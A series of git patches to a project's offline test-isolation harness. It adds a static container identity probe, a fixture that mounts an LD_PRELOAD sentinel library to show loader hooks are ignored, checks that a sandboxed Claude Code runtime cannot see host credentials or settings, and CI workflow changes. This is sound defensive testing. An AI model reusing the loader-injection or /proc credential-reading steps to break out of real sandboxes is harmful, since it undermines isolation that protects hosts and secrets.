sameView:["net","mnt"].every(key=>readlinkSync(`/proc/${child.pid}/ns/${key}`)===readlinkSync(`/proc/self/ns/${key}`)), settings:existsSync(`/proc/${child.pid}/root${settings}`), credential:readFileSync(`/proc/${child.pid}/environ`).includes(Buffer.from("odysseus-inherited-credential"))}); @@ -30,7 +30,7 @@ async function ask(endpoint:string,key:boolean){ const stream=query({prompt:"Reply with "+nonce,options:{pathToClaudeCodeExecutable:runtime!,model:"claude-haiku-4-5",maxTurns:1,tools:[],settingSources:[],env}}); let answered=false,nonceMatched=false,initialized=false; const watchdog=setTimeout(()=>{ - for(const item of launches.slice(before))try{process.kill(item.pid,"SIGKILL");}catch{} + for(const item of launches.slice(before))try{item.kill();}catch{} stream.close(); },watchdogMs(15000)); try{for await(const row of stream){if(row.type==="system"&&row.subtype==="init")initialized=true;if(row.type==="result"&&row.subtype==="success"){answered=true;nonceMatched=row.result.includes(nonce);}}} @@ -74,15 +74,18 @@ if(outer){ requireOfflineRunner(); if(process.argv[2]!=="--inside"||process.argv.length!==5)throw Error("Unexpected native proof arguments"); if(process.env.ANTHROPIC_API_KEY||process.env.ODYSSEUS_INHERITED_CREDENTIAL)throw Error("UNEXPECTED_NATIVE_HAS_NO_HOST_CREDENTIALS"); + let hostSettings=false; for(const endpoint of process.argv.slice(3)){ const result=await ask(endpoint,true); if(result.answered)throw Error("UNEXPECTED_NATIVE_CANNOT_REACH_OUTER_LISTENER"); - if(result.seen.some(row=>row.settings))throw Error("UNEXPECTED_NATIVE_HAS_NO_HOST_SETTINGS"); + hostSettings ||= result.seen.some(row=>row.settings); } const local=api("127.0.0.1",()=>{}); try{ const result=await ask(local.url.origin,false); - if(result.seen.some(row=>row.settings)||existsSync(counter))throw Error("UNEXPECTED_NATIVE_SEES_NO_HOST_SETTINGS_HELPER"); + const helperInvocations=existsSync(counter)?readFileSync(counter,"utf8").trim().split("\n").filter(Boolean).length:0; + console.log(JSON.stringify({proof:"UNEXPECTED_NATIVE_SETTINGS_HELPER",helperInvocations,settingsPresent:hostSettings||result.seen.some(row=>row.settings)})); + if(helperInvocations||result.seen.some(row=>row.settings)||hostSettings)throw Error("UNEXPECTED_NATIVE_SEES_NO_HOST_SETTINGS_HELPER"); }finally{local.stop(true);} console.log(JSON.stringify({proof:"UNEXPECTED_NATIVE_EXECUTED_IN_PRIVATE_VIEW",result:"pass",launches:launches.length})); } From 04d42ee5b0039758e29ccee627140a030f30c148 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 01:17:42 +0000 Subject: [PATCH 174/187] test: capture container identity before image startup with a static probe --- .../container-identity-proof.mjs | 43 ++++++++++++++++++ scripts/offline-runner/container-identity.c | 39 ++++++++++++++++ scripts/offline-runner/container-identity.mjs | 45 +++++++++++++++++++ scripts/offline-runner/container.d.mts | 2 +- scripts/offline-runner/container.mjs | 4 +- 5 files changed, 131 insertions(+), 2 deletions(-) create mode 100644 scripts/offline-runner/container-identity-proof.mjs create mode 100644 scripts/offline-runner/container-identity.c create mode 100644 scripts/offline-runner/container-identity.mjs diff --git a/scripts/offline-runner/container-identity-proof.mjs b/scripts/offline-runner/container-identity-proof.mjs new file mode 100644 index 0000000000..003e26de88 --- /dev/null +++ b/scripts/offline-runner/container-identity-proof.mjs @@ -0,0 +1,43 @@ +/** Trusted outer fixture: actual Docker identities, no provider/runtime code. */ +import {spawnSync} from 'node:child_process'; +import {mkdtempSync,writeFileSync,readFileSync,rmSync} from 'node:fs'; +import {join} from 'node:path'; +import {tmpdir} from 'node:os'; +import {prepareOfflineContainer} from './container.mjs'; +const assert=(value,name)=>{if(!value)throw Error(name);}; +if(process.argv.includes('--mutations')){ + const module=new URL('./container-identity.mjs',import.meta.url),original=readFileSync(module,'utf8'); + assert(original.includes("['-static','-O2'"),'CONTAINER_STATIC_PROBE_MUTATION_SOURCE'); + try{ + writeFileSync(module,original.replace("['-static','-O2'","['-O2'")); + const broken=spawnSync(process.execPath,['--no-env-file',new URL(import.meta.url).pathname],{encoding:'utf8'}); + assert(broken.status!==0&&(broken.stdout+broken.stderr).includes('CONTAINER_STATIC_PROBE_IGNORES_LOADER_HOOK'),'CONTAINER_STATIC_PROBE_MUTATION_NAMED_FAILURE'); + }finally{writeFileSync(module,original);} + const restored=spawnSync(process.execPath,['--no-env-file',new URL(import.meta.url).pathname],{encoding:'utf8'}); + assert(restored.status===0,'CONTAINER_STATIC_PROBE_RESTORED_POSITIVE: '+restored.stderr); + console.log(JSON.stringify({mutation:'DYNAMIC_CONTAINER_IDENTITY_PROBE',assertion:'CONTAINER_STATIC_PROBE_IGNORES_LOADER_HOOK',result:'named failure',restored:'pass'})); + process.exit(0); +} +const image='brain-kit-native-runtime:1'; +const base=['docker','run','--rm','--pull=never','--network=none','--ipc=private','--cap-drop=ALL']; +for(const [user,groups] of [['0:0',[]],['1000:1001',[21003,21004]]]){ + const boundary=prepareOfflineContainer([...base,'--user',user,...groups.map(group=>'--group-add='+group),'--entrypoint=/usr/bin/true',image]); + try{ + const [uid,gid]=user.split(':').map(Number),actual=boundary.identity; + assert(actual.uid.every(value=>value===uid)&&actual.gid.every(value=>value===gid),'CONTAINER_ACTUAL_CONFIGURED_UID_GID'); + assert(groups.every(group=>actual.groups.includes(group)),'CONTAINER_ACTUAL_SUPPLEMENTARY_GROUPS'); + assert(Object.values(actual.capabilities).every(value=>value==='0000000000000000'),'CONTAINER_ORIGINAL_CAPABILITY_DROP'); + assert(actual.uidMap.trim()&&actual.gidMap.trim(),'CONTAINER_ACTUAL_ID_MAPS'); + }finally{boundary.dispose();} +} +const directory=mkdtempSync(join(tmpdir(),'odysseus-container-loader-')); +try{ + const source=join(directory,'sentinel.c'),library=join(directory,'sentinel.so'); + writeFileSync(source,'#include \n__attribute__((constructor)) static void sentinel(void){const char row[]="CONTAINER_LOADER_SENTINEL_RAN\\n";write(2,row,sizeof(row)-1);}\n'); + const compiled=spawnSync('cc',['-shared','-fPIC',source,'-o',library],{encoding:'utf8'}); + assert(compiled.status===0,'CONTAINER_LOADER_SENTINEL_BUILDS'); + let boundary,error; + try{boundary=prepareOfflineContainer([...base,'--env','LD_PRELOAD=/fixture-sentinel.so','--mount',`type=bind,source=${library},target=/fixture-sentinel.so,readonly`,'--entrypoint=/usr/bin/true',image]);}catch(failure){error=failure;} + try{assert(!error&&boundary?.identity.uid[0]===0,'CONTAINER_STATIC_PROBE_IGNORES_LOADER_HOOK');}finally{boundary?.dispose();} +}finally{rmSync(directory,{recursive:true,force:true});} +console.log(JSON.stringify({proof:'CONTAINER_STATIC_IDENTITY',result:'pass',cases:['root','numeric supplementary groups','capabilities','maps','LD_PRELOAD']})); diff --git a/scripts/offline-runner/container-identity.c b/scripts/offline-runner/container-identity.c new file mode 100644 index 0000000000..ea649e70d5 --- /dev/null +++ b/scripts/offline-runner/container-identity.c @@ -0,0 +1,39 @@ +/* Static, closed identity probe. It never loads image/checkout code or accepts + * an executable argument. The outer launcher runs it before container startup. */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +static void fail(void) { fputs("OFFLINE_CONTAINER_IDENTITY_REFUSED\n",stderr);exit(125); } +static void text(const char *path) { + int fd=open(path,O_RDONLY|O_CLOEXEC);if(fd<0)fail(); + char buffer[8192];ssize_t count=read(fd,buffer,sizeof(buffer));close(fd); + if(count<=0||count==(ssize_t)sizeof(buffer))fail(); + putchar('"');for(ssize_t i=0;i=127)fail();else putchar(c); + }putchar('"'); +} +int main(int argc,char **argv) { + (void)argv;if(argc!=1)fail(); + /* This binary is statically linked; loader hooks never run. Clear them and + * all other inherited environment before even the fixed /proc reads. */ + if(clearenv())fail(); + gid_t groups[256];int count=getgroups(256,groups);if(count<0)fail(); + uid_t ruid,euid,suid;gid_t rgid,egid,sgid; + if(getresuid(&ruid,&euid,&suid)||getresgid(&rgid,&egid,&sgid))fail(); + printf("{\"version\":1,\"uid\":[%lu,%lu,%lu],\"gid\":[%lu,%lu,%lu],\"groups\":[",(unsigned long)ruid,(unsigned long)euid,(unsigned long)suid,(unsigned long)rgid,(unsigned long)egid,(unsigned long)sgid); + for(int i=0;i{ + const result=spawnSync(command,args,{encoding:'utf8',maxBuffer:1024*1024}); + if(result.error||result.status!==0||result.stderr.trim())throw Error('OFFLINE_CONTAINER_IDENTITY_REFUSED',{cause:result.error??result.stderr}); + return result.stdout; +}; +export function captureContainerIdentity(options,record){ + const positions=options.flatMap((word,index)=>word===record.Config.Image?[index]:[]); + if(positions.length!==1)throw Error('OFFLINE_CONTAINER_IMAGE_OPERAND_REFUSED'); + const directory=mkdtempSync(join(tmpdir(),'odysseus-container-identity-')); + let id; + try{ + const executable=join(directory,'identity'); + run('cc',['-static','-O2','-Wall','-Wextra','-Werror',new URL('./container-identity.c',import.meta.url).pathname,'-o',executable]); + chmodSync(directory,0o755);chmodSync(executable,0o555); + const before=options.slice(0,positions[0]),filtered=[]; + for(let index=0;indexArray.isArray(value[key])&&value[key].length===3&&value[key].every(Number.isSafeInteger))||!Array.isArray(value.groups)||!value.groups.every(Number.isSafeInteger)||!['uidMap','gidMap','status'].every(key=>typeof value[key]==='string'))throw Error('OFFLINE_CONTAINER_IDENTITY_REFUSED'); + const capabilities={}; + for(const key of ['CapInh','CapPrm','CapEff','CapBnd','CapAmb']){ + const match=value.status.match(new RegExp(`^${key}:\\s+([0-9a-f]{16})$`,'m')); + if(!match)throw Error('OFFLINE_CONTAINER_IDENTITY_REFUSED');capabilities[key]=match[1]; + } + return {uid:value.uid,gid:value.gid,groups:value.groups,uidMap:value.uidMap,gidMap:value.gidMap,capabilities}; + }finally{ + try{if(id)run('docker',['rm','--force',id]);}finally{rmSync(directory,{recursive:true,force:true});} + } +} diff --git a/scripts/offline-runner/container.d.mts b/scripts/offline-runner/container.d.mts index 336968e342..cc8a8be372 100644 --- a/scripts/offline-runner/container.d.mts +++ b/scripts/offline-runner/container.d.mts @@ -1 +1 @@ -export function prepareOfflineContainer(argv:readonly string[]):{argv:string[];id:string;dispose():void}; +export function prepareOfflineContainer(argv:readonly string[]):{argv:string[];id:string;identity:{uid:number[];gid:number[];groups:number[];uidMap:string;gidMap:string;capabilities:Record};dispose():void}; diff --git a/scripts/offline-runner/container.mjs b/scripts/offline-runner/container.mjs index 4b62a9d228..0f35ba08dc 100644 --- a/scripts/offline-runner/container.mjs +++ b/scripts/offline-runner/container.mjs @@ -2,6 +2,7 @@ import {randomUUID} from 'node:crypto'; import {spawnSync} from 'node:child_process'; import {captureContainerReadonlyInputs} from './container-inputs.mjs'; +import {captureContainerIdentity} from './container-identity.mjs'; const checked=(args)=>{ const result=spawnSync('docker',args,{encoding:'utf8',maxBuffer:4*1024*1024}); if(result.error||result.status!==0)throw Error('Offline test container operation failed',{cause:result.error??result.stderr}); @@ -30,7 +31,8 @@ export function prepareOfflineContainer(argv){ if(actual?.Type!=='bind'||actual.Source!==expected.source||actual.RW!==false)throw Error('OFFLINE_CONTAINER_PRIVATE_INPUT_MOUNT_REQUIRED'); } if(prepared?.Id!==id||prepared.Config?.Labels?.['brain-test-offline']!==nonce||prepared.HostConfig?.NetworkMode!=='none'||prepared.HostConfig?.IpcMode!=='private'||Object.keys(prepared.HostConfig?.PortBindings??{}).length||Object.keys(prepared.NetworkSettings?.Networks??{}).some(name=>name!=='none'))throw Error('OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'); - return {argv:['docker','start','--attach',...(options.includes('--interactive')?['--interactive']:[]),id],id, + const identity=captureContainerIdentity(inputs.options,prepared); + return {identity,argv:['docker','start','--attach',...(options.includes('--interactive')?['--interactive']:[]),id],id, dispose(){ const inspected=spawnSync('docker',['inspect',id],{encoding:'utf8'}); if(inspected.status!==0&&/No such (?:object|container)/.test(inspected.stderr??'')){inputs.dispose();return;} From f0569f0b84309f52128437cb52622bc6f5b742fc Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 01:46:51 +0000 Subject: [PATCH 175/187] test: retain the bunx compiler entry in offline worker views --- scripts/offline-runner/bootstrap.c | 4 +++- scripts/offline-runner/inputs.py | 2 +- scripts/offline-runner/prepare.sh | 1 + scripts/offline-runner/runner.py | 1 + tests/offline-unit-identity.test.ts | 10 ++++++++++ 5 files changed, 16 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/bootstrap.c b/scripts/offline-runner/bootstrap.c index f5771c9b48..1d203c1673 100644 --- a/scripts/offline-runner/bootstrap.c +++ b/scripts/offline-runner/bootstrap.c @@ -135,10 +135,12 @@ int main(int argc,char **argv) { closedir(dir); int begin=1;if(argc>1&&!strcmp(argv[1],"--"))begin++; const char *base=strrchr(argv[0],'/');base=base?base+1:argv[0]; - int shim=!strcmp(base,"bun"); + int shim=!strcmp(base,"bun")||!strcmp(base,"bunx"); + int package_runner=!strcmp(base,"bunx"); char **command=calloc((size_t)argc+12,sizeof(char*));if(!command)return fail("arguments"); size_t at=0;command[at++]="/usr/bin/python3";command[at++]="-I";command[at++]="-S";command[at++]=BRAIN_TEST_SETUP;command[at++]=BRAIN_TEST_ROOT;command[at++]=BRAIN_TEST_BUN; if(shim)command[at++]=BRAIN_TEST_BUN; + if(package_runner)command[at++]="x"; for(int i=begin;i "$runner_root/.test-tools/bun-path" "$runner_cc" -static -O2 -Wall -Wextra -Werror "$runner_root/scripts/offline-runner/runtime-stub.c" -o "$runner_root/.test-tools/native-stub" chmod 0555 "$runner_root/.test-tools/native-stub" ln -sf entry "$runner_root/.test-tools/bun" +ln -sf entry "$runner_root/.test-tools/bunx" printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking project tests.\n' "$runner_root" if [[ "${1:-}" = --install-system ]]; then [[ $(id -u) = 0 ]] || { echo 'Install the fixed setup entry explicitly as root.' >&2; exit 1; } diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index d0f33d01f9..167980f05b 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -245,6 +245,7 @@ def finish_view(backing, prepared, caller, profile, before): os.chmod(view / 'run/brain-test/entry', 0o555) bind(view / 'run/brain-test/entry', view / 'run/brain-test/entry') (view / 'run/brain-test/bun').symlink_to('entry') + (view / 'run/brain-test/bunx').symlink_to('entry') os.environ['PATH'] = '/run/brain-test:' + os.environ.get('PATH','/usr/bin:/bin') # Real Bun may live outside /usr; pin just its regular executable, not HOME. if not str(BUN).startswith('/usr/'): diff --git a/tests/offline-unit-identity.test.ts b/tests/offline-unit-identity.test.ts index 1a9823ccb9..c4deeabcb0 100644 --- a/tests/offline-unit-identity.test.ts +++ b/tests/offline-unit-identity.test.ts @@ -1,5 +1,6 @@ import {expect,test} from "bun:test"; import {existsSync,readFileSync,statSync} from "node:fs"; +import typescript from "../node_modules/typescript/package.json"; import {requireOfflineRunner} from "../scripts/offline-runner/qualification"; test("offline workers preserve the runner's real identity and drop setup capabilities",()=>{ @@ -20,3 +21,12 @@ test("offline workers preserve the runner's real identity and drop setup capabil expect(BigInt("0x"+new RegExp(`^${field}:\\s+([0-9a-f]+)$`,"m").exec(status)![1]),"WORKER_SETUP_CAPABILITIES_ARE_ZERO").toBe(0n); } }); + +test("offline workers execute the installed compiler through the static bunx entry",async()=>{ + const launcher=Bun.which("bunx"); + expect(launcher,"WORKER_BUILD_BUNX_IS_AVAILABLE").toBe("/run/brain-test/bunx"); + const child=Bun.spawn([launcher!,"--no-install","tsc","--version"],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"WORKER_BUILD_COMPILER_EXECUTES: "+err).toBe(0); + expect(out.trim(),"WORKER_BUILD_COMPILER_IS_INSTALLED_TYPESCRIPT").toBe("Version "+typescript.version); +}); From c6ed594cd2bc00c3d51065fb5dd580623c104cba Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 01:46:51 +0000 Subject: [PATCH 176/187] ci: prepare every test entry and enter runtime isolation before user mapping --- .github/workflows/ci.yml | 12 ++++++++++++ .github/workflows/heavy-feedback.yml | 12 ++++++++++++ scripts/check-ci-workflows.ts | 20 +++++++++++++++++++- scripts/check-pr.ts | 7 ++++--- scripts/ci-offline-setup.sh | 9 +++++++++ scripts/ci-runner.ts | 5 +++++ scripts/ci-runtime-setup.sh | 7 +------ scripts/offline-runner/rootless-files.json | 6 +++--- tests/ci-runner.test.ts | 18 ++++++++++++++++++ tests/ci-workflows.test.ts | 16 +++++++++++++++- 10 files changed, 98 insertions(+), 14 deletions(-) create mode 100644 scripts/ci-offline-setup.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fef2f61772..582915e8b5 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -123,6 +123,8 @@ jobs: - id: verify_install timeout-minutes: 1 run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute the same affected selection id: verify_plan timeout-minutes: 1 @@ -437,6 +439,8 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -502,6 +506,8 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -557,6 +563,8 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -610,6 +618,8 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -736,6 +746,8 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} diff --git a/.github/workflows/heavy-feedback.yml b/.github/workflows/heavy-feedback.yml index 5f036d0069..64549aa371 100644 --- a/.github/workflows/heavy-feedback.yml +++ b/.github/workflows/heavy-feedback.yml @@ -106,6 +106,8 @@ jobs: - id: verify_install timeout-minutes: 1 run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute the same affected selection id: verify_plan timeout-minutes: 1 @@ -323,6 +325,8 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" @@ -361,6 +365,8 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" @@ -393,6 +399,8 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" @@ -425,6 +433,8 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" @@ -511,6 +521,8 @@ jobs: with: bun-version: 1.4.2 - run: bun install --frozen-lockfile + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: "${{ needs.changeset.outputs.base_sha }}" diff --git a/scripts/check-ci-workflows.ts b/scripts/check-ci-workflows.ts index 55615251c8..825d24a02d 100644 --- a/scripts/check-ci-workflows.ts +++ b/scripts/check-ci-workflows.ts @@ -16,6 +16,20 @@ type Workflow = { jobs?: Record; }; +/** Every route into test discovery prepares the same static entry first. */ +export function offlinePreparationProblems(workflow: Workflow, file: string): string[] { + const problems: string[] = []; + for (const [name, job] of Object.entries(workflow.jobs ?? {})) { + const steps = job.steps ?? []; + const entry = steps.findIndex(step => /bun scripts\/(?:ci-runner\.ts|ci-proof\.ts (?!aggregate))/.test(step.run ?? "")); + if (entry < 0) continue; + if (!steps.slice(0, entry).some(step => !step.if && !step["continue-on-error"] && + /^bash scripts\/ci-(?:offline|runtime)-setup\.sh(?: --native)?$/.test(step.run ?? ""))) + problems.push(`${file}: ${name}: test entry requires prior unconditional static offline preparation`); + } + return problems; +} + export function workflowProblems(text: string, file: string): string[] { const problems: string[] = []; const keys = new Set(); @@ -154,6 +168,7 @@ export function workflowProblems(text: string, file: string): string[] { fail("contract: the comparison base must be the PR's declared base, read at run time, never the event's"); } } + problems.push(...offlinePreparationProblems(workflow, file)); return problems; } @@ -170,7 +185,10 @@ export function checkCIWorkflows(root: string): string[] { if (files.includes("ci-evidence-report.yml")) expected.push("ci-evidence-report.yml"); if (JSON.stringify(files) !== JSON.stringify(expected.sort())) problems.push("GitHub must contain only authoritative CI, contract, project-sync, red-main coordination and optional Pages/timing/archive/report/heavy-feedback workflows"); // Every workflow, authoritative or not, runs only reviewed action commits (#4111). - for (const file of files.filter(file => /\.ya?ml$/.test(file))) problems.push(...actionPinProblems(readFileSync(join(directory, file), "utf8"), file)); + for (const file of files.filter(file => /\.ya?ml$/.test(file))) { + const text = readFileSync(join(directory, file), "utf8"); + problems.push(...actionPinProblems(text, file), ...offlinePreparationProblems(Bun.YAML.parse(text) as Workflow, file)); + } const depot = join(root, ".depot/workflows"); if (existsSync(depot) && readdirSync(depot).some(file => /\.ya?ml$/.test(file))) problems.push("Active Depot CI workflow definitions must be removed"); for (const file of CI_WORKFLOWS) { diff --git a/scripts/check-pr.ts b/scripts/check-pr.ts index 7c2f2555e1..7a5afc529b 100644 --- a/scripts/check-pr.ts +++ b/scripts/check-pr.ts @@ -1,6 +1,6 @@ /** Focused local preflight; repeatable full proof is authoritative in hosted CI. */ import { dirname, resolve } from "node:path"; -import { accessSync, constants, mkdirSync, readFileSync, renameSync, statSync, writeFileSync } from "node:fs"; +import { accessSync, existsSync, constants, mkdirSync, readFileSync, renameSync, statSync, writeFileSync } from "node:fs"; import { changedFiles, planChecks, workspaces, type CheckPlan } from "./ci-plan"; import { runCommands, type Command, type Settled } from "./ci-runner"; import { checkPackages } from "./check-packages"; @@ -49,14 +49,15 @@ export function localChecks(plan: CheckPlan, full = false, mergeBase?: string, i if (plan.local.endurance) checks.push({ name: "complete pinned endurance suite", argv: [bun, "run", "test:endurance"] }); if (plan.local.captures) checks.push({ name: "editorial provenance and reproducibility", argv: [bun, "run", "capture:verify"] }); if (plan.local.runtime) { + const entry = existsSync("/run/brain-test/entry") ? "/run/brain-test/entry" : resolve(ROOT, ".test-tools/entry"); // Retain the production probes which used to run automatically, in the // same loopback-only namespace. The real renderer is also required by the // complete test suite above; a fake allowlist check cannot replace it. for (const script of ["measure-claude-runtime", "measure-claude-enforcement"]) checks.push({ name: script, - argv: ["unshare", "--user", "--map-root-user", "--net", "sh", "-c", + argv: [entry, "unshare", "--user", "--map-root-user", "--net", "sh", "-c", `ip link set lo up && bun scripts/${script}.ts --out tmp/${script}.json`] }); checks.push({ name: "native delegation, capabilities and measurement isolation", - argv: ["unshare", "--user", "--map-current-user", "--keep-caps", "--net", "sh", "-c", + argv: [entry, "unshare", "--user", "--map-current-user", "--keep-caps", "--net", "sh", "-c", "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); checks.push({ name: "native managed hosted admission", argv: [bun, "scripts/prove-native-host.ts"] }); checks.push({ name: "native separate-UID worker identity", argv: [bun, "scripts/prove-worker-identity.ts"] }); diff --git a/scripts/ci-offline-setup.sh b/scripts/ci-offline-setup.sh new file mode 100644 index 0000000000..301935a250 --- /dev/null +++ b/scripts/ci-offline-setup.sh @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +# Shared explicit preparation on disposable hosted test runners. +set -euo pipefail +# Explicit disposable-runner preparation. No sudoers or persistent host policy +# is installed. All subsequent project-owned test entries resolve the static +# shim before Bun can load checkout env or interpreter startup hooks. +bash scripts/offline-runner/prepare.sh +sudo env "PATH=$PATH" bash scripts/offline-runner/prepare.sh --install-system +printf '%s/.test-tools\n' "$PWD" >> "$GITHUB_PATH" diff --git a/scripts/ci-runner.ts b/scripts/ci-runner.ts index dcb7a6dc31..8aacaf54cc 100644 --- a/scripts/ci-runner.ts +++ b/scripts/ci-runner.ts @@ -89,6 +89,11 @@ export async function runCommands(commands: readonly Command[], cwd: string, con const argument = command.argv[1] ?? ""; const testEntry = bunCommand && (argument === "test" || (argument === "run" && /^(?:test(?::|$)|capture:verify$)/.test(command.argv[2] ?? "")) || testScripts.has(argument.split("/").at(-1)!)); const argv = testEntry ? [(existsSync("/run/brain-test/entry") ? "/run/brain-test/entry" : new URL("../.test-tools/entry", import.meta.url).pathname), ...command.argv] : command.argv; + if (testEntry && !existsSync(argv[0]!)) { + const reason = "offline native isolation unavailable: setup failed"; + receipt({ event: "refusal", id, name: command.name, kind: "offline-runner-refusal", reason, stage: "static-entry-unprepared" }); + throw new Error(reason); + } const child = Bun.spawn(argv, { cwd, detached: process.platform !== "win32", stdio: ["ignore", "inherit", "inherit"], env }); children.push(child); command.started?.(); diff --git a/scripts/ci-runtime-setup.sh b/scripts/ci-runtime-setup.sh index 16bab37d40..574d00b0c8 100644 --- a/scripts/ci-runtime-setup.sh +++ b/scripts/ci-runtime-setup.sh @@ -43,9 +43,4 @@ if [ -z "$PROOF_CHROME" ]; then echo "Real Chrome is required for hosted runtime "$PROOF_CHROME" --version echo "PUPPETEER_EXECUTABLE_PATH=$PROOF_CHROME" >> "$GITHUB_ENV" -# Explicit disposable-runner preparation. No sudoers or persistent host policy -# is installed. All subsequent project-owned test entries resolve the static -# shim before Bun can load checkout env or interpreter startup hooks. -bash scripts/offline-runner/prepare.sh -sudo env "PATH=$PATH" bash scripts/offline-runner/prepare.sh --install-system -printf '%s/.test-tools\n' "$PWD" >> "$GITHUB_PATH" +bash scripts/ci-offline-setup.sh diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index e6b16a4e12..14c880074f 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1564,11 +1564,11 @@ "tests/ci-pack.test.ts":{"sha256":"42f72d4cd4f866fa48105367d99985ffefa120b6a7cac0ec5cf1af977f44e67e","compatible":true}, "tests/ci-plan.test.ts":{"sha256":"ac413565a3c0cb4398c04e33b127d3c01e32c7ca1be656a402491f6fdd3c45c3","compatible":false}, "tests/ci-red-main.test.ts":{"sha256":"21af6b6dee62d1be682b33b6b321ef2cd4a5296f377aae192f5742e51e29c733","compatible":true}, - "tests/ci-runner.test.ts":{"sha256":"cf29b2347ea6d58414b5537e7cd23c4cd90e235914a4ed64b4f2efc6ea394619","compatible":true}, + "tests/ci-runner.test.ts":{"sha256":"92102b6043ec561c098fdc2cb862cccbeed2d535b4dd972909f11f609b2c86b2","compatible":true}, "tests/ci-throughput.test.ts":{"sha256":"ee380795d993761b1586c94f32175c6042245d6ba81676a76b0d8d055e2fa895","compatible":true}, "tests/ci-timings-collection.test.ts":{"sha256":"a17ba2a73b50228ac3ca244876934ef84bc6fbe49dd004d9bc165da2c284507a","compatible":true}, "tests/ci-timings.test.ts":{"sha256":"26bf3a49ec7dcacd362b8c395fad3ae99eb41881f059a8faaac91720b024a4ac","compatible":true}, - "tests/ci-workflows.test.ts":{"sha256":"ed7d3ce90f9e6b2ce52ec247cb9e258a603d355b7e7a6d5781db27f96081ba85","compatible":true}, + "tests/ci-workflows.test.ts":{"sha256":"5e1575192d0a99f31cf1de15f35ac1b6972a8901870e262bb6b1e7eb96415329","compatible":true}, "tests/claude-title-provenance.test.ts":{"sha256":"3db8abc829a8015022f266906bf127d39d9bb1b61a305eb60c9d2279209d8678","compatible":true}, "tests/claude-worker.test.ts":{"sha256":"5ecb0675192b0906256e355b18349b27ac5a7392220d15e1153b47e23988d8b3","compatible":true}, "tests/clean.test.ts":{"sha256":"7edfbc4dfe63b927670b3eb8ff438b562348d9e12a05b92a49000124d065b785","compatible":true}, @@ -1651,7 +1651,7 @@ "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, "tests/offline-runner.test.ts":{"sha256":"8e559f8e7cddf0316571ba91828e480ecce0521f902f3839aaa63f2fa9092503","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, - "tests/offline-unit-identity.test.ts":{"sha256":"e4673d8218b9c0fda0da1027b0a1f8af2a873e260e94333b4f03f82261dc549c","compatible":true}, + 